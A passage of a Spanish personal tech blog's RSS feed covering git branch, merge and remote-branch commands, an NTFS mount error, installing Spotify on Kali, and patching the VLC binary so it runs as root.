&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git branch -a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> remotes/origin/HEAD -&amp;gt; origin/master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> remotes/origin/master
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>REPASAR git branch -r&lt;/p>
&lt;h3 id="cambiar-entre-ramas">Cambiar entre ramas&lt;/h3>
&lt;p>Para cambiar de una rama a otra usaremos el comando &lt;code>git checkout nombre_rama&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">D content/code/2015_12_03_usos_rsync.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">M theme/plumage
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Switched to branch &lt;span class="s1">&amp;#39;master&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="unión-de-ramas">Unión de ramas&lt;/h3>
&lt;p>Para unir dos ramas tenemos el comando &lt;code>git merge nombre_rama&lt;/code>. Hay que tener especial cuidado a la hora de hacer una unión ya que es probable que aparezcan conflictos al intentar unir ambas ramas. Los conflictos ocurren por tratar de unir dos archivos (son el mismo pero están en diferentes ramas) que son diferentes al compararlos linea a linea.&lt;/p>
&lt;p>Para realizar una unión el proceso es el siguiente:&lt;/p>
&lt;ol>
&lt;li>Nos colocamos en la rama en la que queremos agregar la funcionalidad de la otra rama.&lt;/li>
&lt;li>Hacemos un merge de la rama que queremos unir &lt;code>git merge otra_rama&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>Por ejemplo si queremos añadir a la rama &lt;em>master&lt;/em> la funcionalidad desarrollada en la rama &lt;em>sbrk&lt;/em>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git merge sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Podemos apreciar que la unión se realizó correctamente y sin conflictos.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Updating 0022f43..bc8fc31
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Fast-forward
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> README.md &lt;span class="p">|&lt;/span> &lt;span class="m">5&lt;/span> +++++
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="m">1&lt;/span> file changed, &lt;span class="m">5&lt;/span> insertions&lt;span class="o">(&lt;/span>+&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="eliminar-una-rama-local">Eliminar una rama local&lt;/h3>
&lt;p>Cuando queremos eliminar una rama usaremos el comando &lt;code>git branch -d nombre_rama&lt;/code> o &lt;code>git branch -D nombre_rama&lt;/code> y con esto conseguiremos eliminar la rama.&lt;/p>
&lt;p>Es importante diferenciar entre los parámetros &lt;code>-d&lt;/code> elimina la rama solamente si se ha unido sino nos mandara un error y &lt;code>-D&lt;/code> elimina la rama aunque no se haya unido.&lt;/p>
&lt;p>Una buena practica es eliminar una rama después de unirla a la rama principal&lt;/p>
&lt;p>Por ejemplo si queremos eliminar la rama &lt;em>sbrk&lt;/em> después de haberla unido a la rama principal usaremos el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git branch -d sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Deleted branch sbrk &lt;span class="o">(&lt;/span>was bc8fc31&lt;span class="o">)&lt;/span>.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="resolver-conflictos">Resolver conflictos&lt;/h3>
&lt;p>Cuando unimos dos ramas (merge) en ocasiones produciremos conflictos entre ficheros por tener el mismo fichero modificado en ramas diferentes. Cuando ocurre eso git nos abrirá con el editor que tengamos configurado por defecto el fichero que tenga el conflicto, tendremos que buscar las lineas que nos introduce git para indicarnos donde esta el problema que son: &lt;code>&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/code>, &lt;code>&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code> y &lt;code>======&lt;/code> eliminarlas y después procederemos a arreglar el código o texto adecuadamente, después ya podremos hacer el commit y el push.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git merge sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ocurrió un conflicto&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Auto-merging README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">CONFLICT &lt;span class="o">(&lt;/span>content&lt;span class="o">)&lt;/span>: Merge conflict in README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Automatic merge failed&lt;span class="p">;&lt;/span> fix conflicts and &lt;span class="k">then&lt;/span> commit the result.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark5">Ramas remotas&lt;/h2>
&lt;p>Una rama remota es una referencia al estado de una rama local en un repositorio remoto.&lt;/p>
&lt;p>Las ramas remotas tienen como convención de nombre el siguiente formato: &lt;code>(remoto)/(rama)&lt;/code>, donde la rama principal en un repositorio remoto se llama &lt;code>origin/master&lt;/code> y todas las subramas en el repositorio remoto tendrán el prefijo &lt;code>origin&lt;/code> y del otro lado el nombre de la rama que queramos darle; en nuestro caso podría ser &lt;code>primera-rama&lt;/code>.&lt;/p>
&lt;p>Importante: si no aplicamos el comando &lt;code>git push origin master&lt;/code> cada vez que queramos respaldar cambios realizados localmente de nuestra rama principal el estado de la rama remota se quedará rezagado.&lt;/p>
&lt;h3 id="crear-una-rama-remota">Crear una rama remota&lt;/h3>
&lt;p>Para crear una rama remota primero hay que crear una rama local &lt;code>git checkout -b rama&lt;/code> y despues mandarla al servidor con &lt;code>git push origin rama&lt;/code>.&lt;/p>
&lt;p>Las ramas locales no se sincronizan automáticamente con las remotas, es un comportamiento que se debe realizar manualmente.&lt;/p>
&lt;p>Importante: Una rama local puede estar enlazada con una rama remota, pero no tienen porque tener el mismo nombre.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout -b sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Switched to a new branch &lt;span class="s1">&amp;#39;sbrk&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># una vez creada la rama vamos a crearla en el repositorio remoto.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git push origin sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total &lt;span class="m">0&lt;/span> &lt;span class="o">(&lt;/span>delta 0&lt;span class="o">)&lt;/span>, reused &lt;span class="m">0&lt;/span> &lt;span class="o">(&lt;/span>delta 0&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">To git@github.com:codeheroco/tutorial-git.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> * &lt;span class="o">[&lt;/span>new branch&lt;span class="o">]&lt;/span> sbrk -&amp;gt; sbrk
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="eliminar-una-rama-remota">Eliminar una rama remota&lt;/h3>
&lt;p>Cuando queremos borrar una rama remota ubicada en el servidor lo haremos con &lt;code>git push origin :nombre_rama&lt;/code>.&lt;/p>
&lt;p>Esto lo que realiza es decirle al servidor que deseche la rama sbrk. El comando es prácticamente idéntico al que utilizamos para crear la rama remota, la única diferencia es que le pasamos el prefijo &lt;code>:&lt;/code> antes del nombre de la rama.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git push origin :sbrk
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="seguimiento-de-una-rama-remota">Seguimiento de una rama remota&lt;/h3>
&lt;p>Cuando clonamos un repositorio solo se clona la rama principal &lt;code>master&lt;/code>, si queremos seguir tambien alguna rama adicional, tendremos que hacerlo manualmente con el comando &lt;code>git checkout --track origin/&amp;lt;nombre_rama&amp;gt;&lt;/code> o la opcion corta &lt;code>git checkout -t origin/&amp;lt;nombre_rama&amp;gt;&lt;/code>, si existe una rama remota de nombre &lt;code>nombre_rama&lt;/code>, al ejecutar este comando se crea una rama local con el nombre &lt;code>nombre_rama&lt;/code> para hacer un seguimiento de la rama remota con el mismo nombre.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout --track origin/sbrk
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si quisieramos colaborar con una rama remota lo que tendriamos que hacer seria crear una nueva rama local (nueva_rama) y enlazarlo con la rama remota ubicada en el servidor (sbrk):&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout -b nueva_rama origin/sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Branch nueva_rama &lt;span class="nb">set&lt;/span> up to track remote branch sbrk from origin.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Switched to a new branch &lt;span class="s1">&amp;#39;nueva_rama&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header2">Manejo de submodulos&lt;/h1>
&lt;h1 id="otras-opciones">Otras opciones&lt;/h1>
&lt;h2 id="cambiar-la-uri-url-para-un-repositorio-git-remoto">Cambiar la URI (URL) para un repositorio git remoto&lt;/h2>
&lt;p>&lt;code>git remote set-url origin &amp;lt;URL&amp;gt;&lt;/code>&lt;/p>
&lt;p>Fuente &lt;a class="link" href="http://www.iteramos.com/pregunta/3785/cambiar-la-uri-url-para-un-repositorio-git-remoto" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p>
&lt;h2 id="borrar-un-commit">Borrar un commit&lt;/h2>
&lt;p>&lt;code>git reset --hard HEAD~1&lt;/code>&lt;/p>
&lt;h2 id="ver-url-repositorios-configurados">Ver url repositorios configurados&lt;/h2>
&lt;p>&lt;code>git remote -v&lt;/code>&lt;/p>
&lt;h2 id="duplicar-un-repositorio">Duplicar un repositorio&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Make a bare clone of the repository&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone --bare git@github.com:procamora/old-repository.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Mirror-push to the new repository&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> old-repository.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git push --mirror git@github.com:procamora/new-repository.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Remove our temporary local repository&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> ..
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rm -rf old-repository.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuente &lt;a class="link" href="https://help.github.com/articles/duplicating-a-repository/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p>
&lt;h2 id="trabajar-con-submodulos">Trabajar con submodulos&lt;/h2>
&lt;p>&lt;code>git submodule add git@github.com:procamora/procamora.github.io.git output&lt;/code>&lt;/p>
&lt;p>Fuente &lt;a class="link" href="https://chrisjean.com/git-submodules-adding-using-removing-and-updating/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p>
&lt;p>Fuentes usadas: &lt;a class="link" href="https://es.wikipedia.org/wiki/Git" target="_blank" rel="noopener"
>wikipedia&lt;/a>, &lt;a class="link" href="http://librosweb.es/libro/pro_git/" target="_blank" rel="noopener"
>librosweb&lt;/a>, &lt;a class="link" href="http://codehero.co/series/git-desde-cero.html" target="_blank" rel="noopener"
>codehero&lt;/a>&lt;/p></description></item><item><title>Can't Mount NTFS drive</title><link>https://www.procamora.com/p/cant-mount-ntfs-drive/</link><pubDate>Thu, 11 Feb 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/cant-mount-ntfs-drive/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Can't Mount NTFS drive" />&lt;p>&lt;a class="link" href="http://askubuntu.com/questions/462381/cant-mount-ntfs-drive-the-disk-contains-an-unclean-file-system" target="_blank" rel="noopener"
>http://askubuntu.com/questions/462381/cant-mount-ntfs-drive-the-disk-contains-an-unclean-file-system&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Error mounting /dev/sdf1 at /media/root/Users: Command-line `mount -t &amp;#34;ntfs&amp;#34; -o &amp;#34;uhelper=udisks2,nodev,nosuid,uid=0,gid=0,dmask=0077,fmask=0177&amp;#34; &amp;#34;/dev/sdf1&amp;#34; &amp;#34;/media/root/Users&amp;#34;&amp;#39; exited with non-zero exit status 13: ntfs_attr_pread_i: ntfs_pread failed: Error de entrada/salida
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Failed to read NTFS $Bitmap: Error de entrada/salida
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">NTFS is either inconsistent, or there is a hardware fault, or it&amp;#39;s a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">SoftRAID/FakeRAID hardware. In the first case run chkdsk /f on Windows
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">then reboot into Windows twice. The usage of the /f parameter is very
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">important! If the device is a SoftRAID/FakeRAID then first activate
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">it and mount a different device under the /dev/mapper/ directory, (e.g.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/dev/mapper/nvidia_eahaabcc1). Please see the &amp;#39;dmraid&amp;#39; documentation
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">for more details.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Instalar spotify en kali</title><link>https://www.procamora.com/p/instalar-spotify-kali/</link><pubDate>Sun, 31 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/instalar-spotify-kali/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Instalar spotify en kali" />&lt;p>Descargar paquete de spotify de su &lt;a class="link" href="http://repository.spotify.com/pool/non-free/s/spotify/" title="repositorio spotify"
target="_blank" rel="noopener"
>repositorio oficial&lt;/a>, o del directorio de &lt;a class="link" href="https://www.procamora.com/../descargas/spotify-client-0.9.17_0.9.17.8.gd06432d.31-1_amd64.deb" >descargas&lt;/a>&lt;/p>
&lt;p>Una vez descargado instalarlo con dpkg&lt;/p>
&lt;p>&lt;code>dpkg -i Descargas/spotify-client-0.9.17_0.9.17.8.gd06432d.31-1_amd64.deb&lt;/code>&lt;/p>
&lt;br />
***Precaución***
&lt;p>No hacerlo de modo gráfico ya que se queda colgado a mitad de la instalación, instalar con dpkg&lt;/p>
&lt;p>En kali me da este error&lt;/p>
&lt;p>&lt;code>spotify: error while loading shared libraries: libgcrypt.so.11: cannot open shared object file: No such file or directory &lt;/code>&lt;/p>
&lt;p>Se soluciona instalando la librería libgcrypt11, puedes descargarla desde su repositorio &lt;a class="link" href="https://packages.debian.org/wheezy/libgcrypt11" target="_blank" rel="noopener"
>oficial&lt;/a> o del directorio de &lt;a class="link" href="https://www.procamora.com/../descargas/libgcrypt11_1.5.0-5&amp;#43;deb7u3_amd64.deb" >descargas&lt;/a>&lt;/p>
&lt;p>Una vez descargado ejecutar:&lt;/p>
&lt;p>&lt;code>dpkg -i libgcrypt11_1.5.0-5+deb7u1_amd64.deb&lt;/code>&lt;/p></description></item><item><title>Usos de make</title><link>https://www.procamora.com/p/uso_make/</link><pubDate>Sat, 30 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/uso_make/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Usos de make" />&lt;p>&lt;a class="link" href="http://lml.ls.fi.upm.es/ep/make.html" target="_blank" rel="noopener"
>http://lml.ls.fi.upm.es/ep/make.html&lt;/a>&lt;/p></description></item><item><title>Usar vlc como root</title><link>https://www.procamora.com/p/2016_01_09_usar-vlc-como-root/</link><pubDate>Fri, 29 Jan 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/2016_01_09_usar-vlc-como-root/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Usar vlc como root" />&lt;p>Cuando ejecutas linux como root obtienes el siguiente resultado:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">VLC is not supposed to be run as root. Sorry.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">If you need to use real-time priorities and/or privileged TCP ports
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">you can use ./vlc2-wrapper (make sure it is Set-UID root and
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cannot be run by non-trusted users first).
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para poder ejecutarlo con éxito es tan simple como abrir el binario de vlc con un editor hexadecimal y sustituir geteuid por getppid&lt;/p>
&lt;p>&lt;code>ghex /usr/bin/vlc&lt;/code>&lt;/p>
&lt;p>buscar: geteuid&lt;/p>
&lt;p>remplazar: getppid&lt;/p>
&lt;br />
&lt;p>Con python:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -*- coding= utf-8 -*- #&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">nombre_fichero&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;vlc&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">nombre_fichero&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;rb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;geteuid&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;getppid&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">nombre_fichero&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;wb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;br />
Con bash:
```bash
sed -i 's/geteuid/getppid/' /usr/bin/vlc
```
&lt;br />
&lt;p>En caso de haber instalado vlc a través del tarball seria tan simple como recompilarlo pasando &lt;em>&lt;strong>&amp;ndash;enable-run-as-root&lt;/strong>&lt;/em> a &lt;em>&lt;strong>./configure&lt;/strong>&lt;/em>.&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://www.taringa.net/posts/linux/18950109/Usar-vlc-en-Kali-Linux-como-root.html" target="_blank" rel="noopener"
